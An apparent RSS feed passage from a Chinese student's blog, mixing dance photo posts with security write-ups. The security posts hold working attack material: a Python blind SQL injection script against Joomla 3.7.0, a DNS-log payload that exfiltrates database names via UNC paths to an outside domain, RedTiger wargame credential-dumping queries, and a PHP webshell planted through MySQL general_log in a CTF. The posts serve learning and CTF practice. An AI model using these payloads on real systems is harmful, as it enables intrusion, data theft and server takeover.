&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15631040057976.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;第二遍注重欣赏舞姿，以致于截取了一些高清大图～～慢慢日后欣赏。。&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15631040197072.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15631040361103.jpg&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;要是有个能挺起胸膛说喜欢的事情，我就能有所改变了吧。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;从内向 -&amp;gt; 自信&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15631040501379.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;无论是否一个人在跳，心中一定要有舞伴……&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15631040677156.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15631040838783.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;画框与花&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15631040997468.jpg&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;flower &amp;amp; frame&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15631041169365.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15631041302456.jpg&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;舞蹈并不看阅历，开始舞蹈一年的人也可能赢过跳舞十年的人。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15631041428410.jpg&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;与舞蹈的相遇让我无法忘记……&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;看到主人公，自己习舞的日子仿佛还在昨日，时间过的实在是太快……当初自己就是因为内向才被母亲“安排”去学舞，一开始为学舞而学舞，后来渐渐迷上了“她”，才明白舞蹈的意义。&lt;/p&gt;
&lt;p&gt;与她结缘已13年，她不仅仅只教会了最基础的东西，还教会了我自信地站在舞台上享受舞蹈、教会了我如何用心理解感受partner、给予我舞者不一般的气质……&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;006tNbRwgy1fugfsj8vdqg30dc07fb2b&quot; src=&quot;/api/download/006tNbRwgy1fugfsj8vdqg30dc07fb2b.gif&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;006tNbRwgy1fugg18f5jwg30dc07cx6x&quot; src=&quot;/api/download/006tNbRwgy1fugg18f5jwg30dc07cx6x.gif&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;006tNbRwgy1fugfx8z97vg30dc07gqv&quot; src=&quot;/api/download/006tNbRwgy1fugfx8z97vg30dc07gqvm.gif&quot;&gt;&lt;/p&gt;
&lt;p&gt;用三张我最喜欢的gif来感谢一路上陪我走到今天的她……&lt;/p&gt;</description>
    <pubDate>Sat, 18 Aug 2018 05:47:04 +0800</pubDate>
  </item>
  <item>
    <title>
      It&#x27;s time to set Flags in Sophomore Year (完结)
    </title>
    <link>https://www.0akarma.com/sophomore-flags.html</link>
    <description>&lt;p&gt;&lt;strong&gt;专注、效率&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&quot;in-my-sophomore-year&quot;&gt;In my Sophomore Year:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;❌ 要考试的科目均分&amp;gt;=90&lt;/li&gt;
&lt;li&gt;❌ Skills TOP 10 of whole grade&lt;/li&gt;
&lt;li&gt;✔️ 多看几本书&lt;/li&gt;
&lt;li&gt;✔️ 接点项目:0&lt;/li&gt;
&lt;li&gt;❌ IELTS Total -&amp;gt; 7+  &lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;_1&quot;&gt;大二上&lt;/h2&gt;
&lt;p&gt;忙！忙！忙！忙！&lt;/p&gt;
&lt;p&gt;体会到当时学姐所说的大二生活了！一个学期下来，各种事情很多，只有临近期末的时候，在复习的间隙中开始记录一下这个学期的点点滴滴～&lt;/p&gt;
&lt;h2 id=&quot;_2&quot;&gt;大二下&lt;/h2&gt;
&lt;p&gt;在安全圈上走了也有一段时间了，但是每到一个阶段总会有觉得自己还是很菜的赶脚（废话，进入安全圈就要做好持续学习的准备） &lt;/p&gt;</description>
    <pubDate>Fri, 13 Jul 2018 22:22:03 +0800</pubDate>
  </item>
  <item>
    <title>
      浅谈SQL盲注 
    </title>
    <link>https://www.0akarma.com/sql-blind.html</link>
    <description>&lt;p&gt;本文所有实战盲注例子，均来自&lt;a href=&quot;https://www.exploit-db.com/exploits/42033/&quot; rel=&quot;nofollow&quot;&gt;Joomla! 3.7.0 - &#x27;com_fields&#x27; SQL Injection&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;由于篇幅有限，本文就不去剖析漏洞原理，直接告知payload插入点，来展现盲注的用法（如有需要可自行寻找各方大佬的研究文章）
注入点：
http://localhost/Joomla/index.php?option=com_fields&amp;amp;view=fields&amp;amp;layout=modal&amp;amp;list[fullordering]=[payload]&lt;/code&gt;&lt;/pre&gt;


&lt;h2 id=&quot;booleanbase&quot;&gt;BooleanBase&lt;/h2&gt;
&lt;h3 id=&quot;_1&quot;&gt;二分法&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;优点：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;比遍历穷举快&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;缺点：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;容易被封ip&lt;/li&gt;
&lt;li&gt;速度慢&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;_2&quot;&gt;原理解析&lt;/h4&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731867593511.jpg&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;常用函数：&lt;/p&gt;
&lt;p&gt;left(x,y)  // 从x的最左侧开始截取前y位&lt;/p&gt;
&lt;p&gt;ascii(substr((sql),1,1))=num  // 从sql语句返回的字符串的第一位开始，截取字符串的一长度，将其转换成ascii编码，然后与num比较&lt;/p&gt;
&lt;p&gt;ord(mid((sql),1,1))=num // ord()==ascii()&lt;/p&gt;
&lt;p&gt;regexp &#x27;^[a-z]&#x27;   // 在某些情况下，用正则表达式还是很方便的！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;最后只需要将手工测试的过程转换成python用代码自动化实现&lt;/p&gt;
&lt;h4 id=&quot;_3&quot;&gt;实战&lt;/h4&gt;
&lt;p&gt;直接上代码吧&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;# -*- coding:UTF-8 -*-
import requests
import sys

# 准备工作
url = &#x27;http://localhost/Joomla/index.php?option=com_fields&amp;amp;view=fields&amp;amp;layout=modal&amp;amp;list[fullordering]=&#x27;
string = &#x27;0123456789ABCDEFGHIGHLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&#x27;
flag = &#x27;&#x27;
cookies = {&#x27;9e44025326f96e2d9dc1a2aab2dbe5b1&#x27; : &#x27;l1p92lf44gi4s7jdf5q73l0bt5&#x27;}

response = requests.get(&#x27;http://localhost/Joomla/index.php?option=com_fields&amp;amp;view=fields&amp;amp;layout=modal&amp;amp;list[fullordering]=(CASE WHEN (ascii(substr((select database()),1,1)) &amp;gt; 78) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)&#x27;,cookies=cookies,timeout=2)
print(response.text)


i = 1
while i &amp;lt;= 7:
    left = 0
    right = len(string) - 1
    mid = int((left + right) / 2)
    print(&#x27;\n&#x27;)
    print(flag)
    print(&#x27;Testing... &#x27; + str(left) + &#x27; &#x27; + str(right))
    # 特殊情况
    if (right - left) == 1:
        payload = &quot;(CASE WHEN (ascii(substr((select database()),{0},1))&amp;gt;{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)&quot;.format(i, str(ord(string[left])))
        poc = url + payload
        print(poc)
        response = requests.get(poc,cookies=cookies,timout=2)
        if (&#x27;安全令牌无效&#x27;) in response.text:
            flag = flag + string[right]
            print(flag)
            exit()
        else: 
            flag = flag + string[left]
            print(flag)
            exit()
    # 二分法
    while 1:
        mid = int((left + right) / 2)
        payload = &quot;(CASE WHEN (ascii(substr((select database()),{0},1))&amp;gt;{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)&quot;.format(i, str(ord(string[mid])))
        poc = url + payload
        print(poc)
        response = requests.get(poc,cookies=cookies,timeout=2)
        # 右半部
        if (&#x27;安全令牌无效&#x27;) in response.text:
            left = mid + 1
            print(&#x27;left:&#x27;+str(left))
        # 左半部
        else: 
            right = mid
            print(&#x27;right:&#x27;+str(right))
        if (left == right):
            flag = flag + string[left]
            break
        # 特殊情况
        if (right - left) == 1:
            payload = &quot;(CASE WHEN (ascii(substr((select database()),{0},1))&amp;gt;{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)&quot;.format(i, str(ord(string[left])))
            poc = url + payload
            print(poc)
            response = requests.get(poc,cookies=cookies,timeout=2)
            if (&#x27;安全令牌无效&#x27;) in response.text:
                flag = flag + string[right]
                print(flag)
                break
            else: 
                flag = flag + string[left]
                print(flag)
                break
    i += 1
print(flag)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731867761727.jpg&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;dnslog&quot;&gt;DNSLOG&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;优点：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;简单，不需要像二分法一样繁琐地一个个遍历&lt;/li&gt;
&lt;li&gt;快速（相对于二分法而言）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;缺点：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;局限于Windows环境下（UNC路径）&lt;/li&gt;
&lt;li&gt;Mysql版本&amp;gt;=5.5.53就要检查Secure_file_priv这个全局变量是否为空（若为NULL，则不可用，&lt;a href=&quot;https://xz.aliyun.com/t/2293&quot; rel=&quot;nofollow&quot;&gt;详见&lt;/a&gt;）&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;_4&quot;&gt;原理解析&lt;/h4&gt;
&lt;p&gt;找了国外的&lt;a href=&quot;https://arxiv.org/ftp/arxiv/papers/1303/1303.3047.pdf&quot; rel=&quot;nofollow&quot;&gt;paper&lt;/a&gt;研究了一波，不懂的就来一波疯狂乱查，然后拿个小本本记下来～～&lt;/p&gt;
&lt;p&gt;虽然大概明白是个什么意思，但是计网的dns知识（明年这个时候才学），我。。。有点晕～&lt;/p&gt;
&lt;p&gt;然后自己似懂非懂地画了张利用dnslog进行sql盲注的原理流程图，如有不对，感谢各位大佬指正：&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731867963411.jpg&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;UNC路径：UNC为网络（主要指局域网）上资源的完整Windows 2000名称。&lt;br&gt;
格式：\servername\sharename，其中servername是服务器名。sharename是共享资源的名称。&lt;br&gt;
目录或文件的UNC名称可以包括共享名称下的目录路径，格式为：\servername\sharename\directory\filename。（转自百度）&lt;/p&gt;
&lt;p&gt;所以payload里面的四个&#x27;\\\\&#x27;和两个&#x27;\\\&#x27;经过转义后再通过concat函数拼接，就形成了&lt;strong&gt;\\&lt;a href=&quot;http://test.karmaof.me&quot; rel=&quot;nofollow&quot;&gt;test.karmaof.me&lt;/a&gt;\123&lt;/strong&gt;的UNC路径。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-mysql&quot;&gt;payload:
?id=1&#x27; and if((select load_file(concat(&#x27;\\\\&#x27;,(select database()),&#x27;.karmaof.me\\123&#x27;))),1,1)--+&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;一开始自己搭建测试环境的时候遇到各种玄学问题……&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-mysql&quot;&gt;如何查看mysql是否开启了文件导入导出？
mysql&amp;gt;show global variables like &#x27;%secure%&#x27;;
如果secure_file_priv的值为null，则没开启；如果为空，则开启；如果为目录，则说明只能在该目录下操作。

如何修改secure_file_priv？
windows下：修改my.ini 在[mysqld]内加入secure_file_priv =
linux下：修改my.cnf 在[mysqld]内加入secure_file_priv =
MYSQL新特性secure_file_priv对读写文件的影响
然后重启mysql，再查询secure_file_priv，为空，则已经设置好了。&lt;/code&gt;&lt;/pre&gt;


&lt;h4 id=&quot;_5&quot;&gt;实战&lt;/h4&gt;
&lt;p&gt;源码的$query里面带了一层mysqli的escape函数对单双引号等字符进行转义，所以对于dnslog的复现不是很有利，所以我就把过滤去掉了。&lt;/p&gt;
&lt;p&gt;但是实践的时候又发现了问题：&lt;/p&gt;
&lt;p&gt;查询是正常的，但是，并没有解析到dns记录&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;media/15731208315046/15731868085867.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后就做了个愚蠢的试验：&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731868389158.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;配合报错注入里面的查询，却可以解析到dns记录&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731868553328.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;后来看到作者用sqlmap跑的payload（DUAL表是一张虚拟表），发现用了一波case when，然后一样可以得到dns记录&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731868645198.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731868760213.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;但是这里有个疑问就是，尽管后面的句子不会执行，但是else后面的语句一定要加union查询，不加的话，是截获不了dns记录的（估计审一波代码就可以知道为什么了&lt;strong&gt;:)&lt;/strong&gt; ）&lt;/p&gt;
&lt;p&gt;所以就去搜了一波 &lt;strong&gt;CASE WHEN&lt;/strong&gt; 然后发现它又是一个功能比较强大的东东:)&lt;/p&gt;
&lt;p&gt;```mysql&lt;/p&gt;
&lt;h1 id=&quot;_6&quot;&gt;官方定义：&lt;/h1&gt;
&lt;p&gt;CASE expression&lt;br&gt;
    WHEN condition1 THEN result1&lt;br&gt;
    WHEN condition2 THEN result2&lt;br&gt;
   ...&lt;br&gt;
    WHEN conditionN THEN resultN&lt;br&gt;
    ELSE result&lt;br&gt;
END&lt;/p&gt;
&lt;h1 id=&quot;case-when-c-swicth-case&quot;&gt;总结来说：case when 有两种用法，类似于C语言的 swicth case&lt;/h1&gt;
&lt;h1 id=&quot;_7&quot;&gt;简单判断版&lt;/h1&gt;
&lt;p&gt;mysql&amp;gt; select * from users;&lt;br&gt;
+&lt;/p&gt;</description>
    <pubDate>Wed, 20 Jun 2018 13:55:48 +0800</pubDate>
  </item>
  <item>
    <title>
      舞蹈 | 《青蛇》
    </title>
    <link>https://www.0akarma.com/dance-qing-she.html</link>
    <description>&lt;h2 id=&quot;_1&quot;&gt;图赏&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731833177624.jpg&quot;&gt;&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731833209594.jpg&quot;&gt;&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731833266428.jpg&quot;&gt;&lt;/p&gt;</description>
    <pubDate>Mon, 18 Jun 2018 12:05:54 +0800</pubDate>
  </item>
  <item>
    <title>
      RedTiger 练习总结
    </title>
    <link>https://www.0akarma.com/red-tiger.html</link>
    <description>&lt;p&gt;&lt;a href=&quot;http://redtiger.labs.overthewire.org/&quot; rel=&quot;nofollow&quot;&gt;题目传送门&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;level-1&quot;&gt;level 1&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://redtiger.labs.overthewire.org/level1.php&quot; rel=&quot;nofollow&quot;&gt;http://redtiger.labs.overthewire.org/level1.php&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;上来寻找注入点，看到Category：后面的“1”是个跳转，点了一下就得到&quot;cat=1&quot;&lt;/p&gt;
&lt;p&gt;于是就开始尝试。。结果发现。。只是数字型注入，不用闭合‘ “ ) ……，所以直接按照提示构造payload就ok了！&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;order by&lt;/li&gt;
&lt;li&gt;查flag&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;&lt;a href=&quot;http://redtiger.labs.overthewire.org/level1.php?cat=1&quot; rel=&quot;nofollow&quot;&gt;http://redtiger.labs.overthewire.org/level1.php?cat=1&lt;/a&gt; union select 1,2,username,password from level1_users&lt;/code&gt;&lt;/pre&gt;


&lt;h2 id=&quot;level-2&quot;&gt;level 2&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://redtiger.labs.overthewire.org/level2.php&quot; rel=&quot;nofollow&quot;&gt;http://redtiger.labs.overthewire.org/level2.php&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这也是一个比较简单的题了。&lt;/p&gt;
&lt;p&gt;提示也给了“A simple loginbypass”&lt;/p&gt;
&lt;p&gt;一来就用万能密码呗！&lt;/p&gt;
&lt;p&gt;万能用户名不行，那就试试万能密码呗。然后就拿到flag了&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;username=admin&amp;amp;password=1&#x27;or 1=1#&amp;amp;login=Login&lt;/code&gt;&lt;/pre&gt;


&lt;h2 id=&quot;level-3&quot;&gt;level 3&lt;/h2&gt;
&lt;p&gt;Hint: Try to get an error. Tablename: level3_users&lt;/p&gt;
&lt;p&gt;估计就是报错注入呗～&lt;/p&gt;
&lt;p&gt;但是好像思路不对。。。然后试了半天，没试出来，就去看看大佬的wp，才知道，是要报错。。但是这个报错点也太。。。。。又学了一波新知识～&lt;/p&gt;
&lt;p&gt;报错：将usr变为一个数组，然后进行提交。&lt;/p&gt;
&lt;p&gt;错误顺利抛出：&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-mysql&quot;&gt;Warning: preg_match() expects parameter 2 to be string, array given in /var/www/html/hackit/urlcrypt.inc on line 25&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;然后得到关于.inc的一些资料：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;.inc 文件，顾名思义就是include file，实际上文件的后缀对于文件包含是无所谓，你可以包含一个asp文件，也可以包含txt文。一般我们使用inc作为后缀，是因为这样能体现该文件的作用。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;然后就去把源码down下来&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php

    // warning! ugly code ahead :)
    // 加密函数 
    function encrypt($str)
    {
        $cryptedstr = &quot;&quot;;
        srand(3284724);
        for ($i =0; $i &amp;lt; strlen($str); $i++)
        {
            $temp = ord(substr($str,$i,1)) ^ rand(0, 255);

            while(strlen($temp)&amp;lt;3)
            {
                $temp = &quot;0&quot;.$temp;
            }
            $cryptedstr .= $temp. &quot;&quot;;
        }
        return base64_encode($cryptedstr);
    }
    # 解密函数
    function decrypt ($str)
    {
        srand(3284724);
        if(preg_match(&#x27;%^[a-zA-Z0-9/+]*={0,2}$%&#x27;,$str))
        {
            $str = base64_decode($str);
            if ($str != &quot;&quot; &amp;amp;&amp;amp; $str != null &amp;amp;&amp;amp; $str != false)
            {
                $decStr = &quot;&quot;;

                for ($i=0; $i &amp;lt; strlen($str); $i+=3)
                {
                    $array[$i/3] = substr($str,$i,3);
                }

                foreach($array as $s)
                {
                    $a = $s ^ rand(0, 255);
                    $decStr .= chr($a);
                }

                return $decStr;
            }
            return false;
        }
        return false;
    }
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;告诉了加解密的算法，那样不就简单了嘛，跟第一题的思路一样，就可以拿到用户名和密码了。&lt;/p&gt;
&lt;p&gt;但是后来加密了之后发现死活查询不出来。。然后又查了一波资料。。。得知win和linux下加密出来的字符串是不一样的。因为windows和linux对于相同的srand()种子下rand()得出的随机数不一样，导致加密函数只在linux下有效。最后改在docker里面运行加密函数，继续下面的过程&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-mysql&quot;&gt;# order by
original:
&lt;a href=&quot;https://redtiger.labs.overthewire.org/level3.php?usr=Admin&#x27;&quot; rel=&quot;nofollow&quot;&gt;https://redtiger.labs.overthewire.org/level3.php?usr=Admin&#x27;&lt;/a&gt; order by 6
encode:
&lt;a href=&quot;https://redtiger.labs.overthewire.org/level3.php&quot; rel=&quot;nofollow&quot;&gt;https://redtiger.labs.overthewire.org/level3.php&lt;/a&gt;
?usr=MDQyMjExMDE0MTgyMTQwMTc0MjIzMDg3MjA4MTAxMTg0MTQyMDA5MTczMDA2MDY5MjMzMDY4MTc1MDg5 

original:
&lt;a href=&quot;https://redtiger.labs.overthewire.org/level3.php?usr=Admin&#x27;&quot; rel=&quot;nofollow&quot;&gt;https://redtiger.labs.overthewire.org/level3.php?usr=Admin&#x27;&lt;/a&gt; order by 7
encode:
&lt;a href=&quot;https://redtiger.labs.overthewire.org/level3.php&quot; rel=&quot;nofollow&quot;&gt;https://redtiger.labs.overthewire.org/level3.php&lt;/a&gt;
?usr=MDQyMjExMDE0MTgyMTQwMTc0MjIzMDg3MjA4MTAxMTg0MTQyMDA5MTczMDA2MDY5MjMyMDY4MTc1MDg5
# order by 会报错，不晓得为啥，但是union就查询正常～～

# union 查回显
original:
&lt;a href=&quot;https://redtiger.labs.overthewire.org/level3.php&quot; rel=&quot;nofollow&quot;&gt;https://redtiger.labs.overthewire.org/level3.php&lt;/a&gt;
?usr=&#x27; union select 1,2,3,4,5,6,7&#x27;
encode:
&lt;a href=&quot;https://redtiger.labs.overthewire.org/level3.php&quot; rel=&quot;nofollow&quot;&gt;https://redtiger.labs.overthewire.org/level3.php&lt;/a&gt;
?usr=MDc2MTk0MDEzMTgyMTQxMjMxMjIzMDc1MTk5MTA5MTg0MTU5MDkzMjM5MDc4MDczMjM3MDc3MTc0MDcwMDU3MTk5MjM0MjE5MDgyMjQ2MTUzMjE5
# 查用户名和密码
original:
&lt;a href=&quot;https://redtiger.labs.overthewire.org/level3.php?usr=&#x27;&quot; rel=&quot;nofollow&quot;&gt;https://redtiger.labs.overthewire.org/level3.php?usr=&#x27;&lt;/a&gt; union select 1,username,3,4,5,password,7 from level3_users where username=&#x27;Admin
encode:
&lt;a href=&quot;https://redtiger.labs.overthewire.org/level3.php&quot; rel=&quot;nofollow&quot;&gt;https://redtiger.labs.overthewire.org/level3.php&lt;/a&gt;
?usr=MDc2MTUxMDIyMTc3MTM5MjMwMTQ1MDI0MjA5MTAwMTc3MTUzMDc0MTg3MDk1MDg0MjQzMDIwMjM4MDE1MTI3MTMzMTkwMTU0MDAxMjQ2MTU3MjA4MTc3MDk2MTI4MjIwMTE2MTIxMTYzMTQ5MjEzMTYwMTA4MDMyMjUyMjAzMDk3MTU2MTkwMTc1MDEzMTM5MDc4MTU1MDk2MDg1MTM0MTk3MTE5MDU5MTYzMTc4MDU2MDM3MDAzMTM2MDQ3MDY2MTA2MTE0MDQ2MjA2MTQ4MDcyMTQxMjE0MDc1MDQ0MjE1MjAzMDM3MDgyMTk4MDcyMTIzMjE1&lt;/code&gt;&lt;/pre&gt;</description>
    <pubDate>Sat, 02 Jun 2018 11:06:54 +0800</pubDate>
  </item>
  <item>
    <title>
      舞蹈 | 《Lemon》
    </title>
    <link>https://www.0akarma.com/dance-lemon.html</link>
    <description>&lt;h2 id=&quot;_1&quot;&gt;图赏&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;media/15731283019502/15731832698626.jpg&quot;&gt;&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731832730499.jpg&quot;&gt;&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731832766015.jpg&quot;&gt;&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731832790289.jpg&quot;&gt;&lt;/p&gt;</description>
    <pubDate>Fri, 01 Jun 2018 12:05:01 +0800</pubDate>
  </item>
  <item>
    <title>
      SCTF 2018 WriteUp &amp; Summary
    </title>
    <link>https://www.0akarma.com/sctf-2018.html</link>
    <description>&lt;p&gt;&lt;a href=&quot;https://www.xctf.org.cn/library/details/242b5bc84314a983ee39d5bb5aab5243c875e3fc/&quot; rel=&quot;nofollow&quot;&gt;官方Wp&lt;/a&gt; / &lt;a href=&quot;http://www.venenof.com/index.php/archives/551/&quot; rel=&quot;nofollow&quot;&gt;Nu1L WP&lt;/a&gt;&lt;/p&gt;
&lt;h1 id=&quot;web&quot;&gt;Web&lt;/h1&gt;
&lt;h2 id=&quot;_1&quot;&gt;新的建议板&lt;/h2&gt;
&lt;p&gt;一开始就去测试基本的xss，后来发现script被过滤了。&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731866370210.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;后来大佬提示看加载，发现有一个&lt;code&gt;angular.***.js&lt;/code&gt;的js加载。&lt;/p&gt;
&lt;p&gt;然后搜了一波发现了几篇科普文和总结绕过姿势的文章&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://www.freebuf.com/vuls/125932.html&quot; rel=&quot;nofollow&quot;&gt;AngularJS沙箱绕过：反射型XSS导致麦当劳用户密码泄露&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://seaii-blog.com/index.php/2017/09/02/68.html&quot; rel=&quot;nofollow&quot;&gt;AngularJS沙盒逃逸姿势总结&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs&quot; rel=&quot;nofollow&quot;&gt;XSS without HTML: Client-Side Template Injection with AngularJS&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这题的收获就是，学会如何用xss去获取想要的信息（cookies、页面源码……）、还有用nc监听端口获取信息。&lt;/p&gt;
&lt;p&gt;最后，发现Google的&lt;a href=&quot;http://www.xssgame.com/&quot; rel=&quot;nofollow&quot;&gt;xss平台&lt;/a&gt;也挺好玩的。有空通关一波！&lt;/p&gt;
&lt;h2 id=&quot;nginx&quot;&gt;Nginx的秘密&lt;/h2&gt;
&lt;p&gt;这道题结合了好几个考点。。我一开始只找到了XXE的xml上传漏洞点&lt;/p&gt;
&lt;p&gt;第一个关键点是Web缓存漏洞，没找到这个，就算xxe弄出来了也没用……&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/vulhub/vulhub/tree/master/node/CVE-2017-14849&quot; rel=&quot;nofollow&quot;&gt;static存在目录穿越漏洞&lt;/a&gt;，然后结合题目hint，下载nginx的配置文件，然后与默认配置文件进行对比，查找difference&lt;/p&gt;
&lt;h2 id=&quot;easiest-web-phpmyadmin&quot;&gt;easiest web - phpmyadmin&lt;/h2&gt;
&lt;p&gt;这道题跟之前小组内的那次内网题的入口差不多，一样是通过禁用 INTO OUTFILE 来免杀一句话木马，但是可以通过日志记录写一句话马进去。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-mysql&quot;&gt;set global general_log=&#x27;on&#x27;;
set global general_log_file=&#x27;D:/phpStudy/www/karma.php&#x27;; # 查看 general log file查看网站根目录位置
select &quot;&amp;lt;?php ($_=@$_GET[a]).@$_($_POST[&#x27;cmd&#x27;]); ?&amp;gt;&quot;;
set global general_log=off; # 可有可无&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;连上之后就可以发现flag在根目录了。至于提(搅)权(屎)，应该也是可行的。&lt;/p&gt;
&lt;h1 id=&quot;misc&quot;&gt;Misc&lt;/h1&gt;
&lt;h2 id=&quot;modbus&quot;&gt;神奇的Modbus&lt;/h2&gt;
&lt;p&gt;追踪tcp流，当时没有反应过来少了个o…就错过了一血。。&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731866688017.jpg&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;_2&quot;&gt;被动了手脚的数据&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/yangbingzhou/article/details/39504015&quot; rel=&quot;nofollow&quot;&gt;Modbus协议分析——TCP/RTU&lt;/a&gt;&lt;/p&gt;
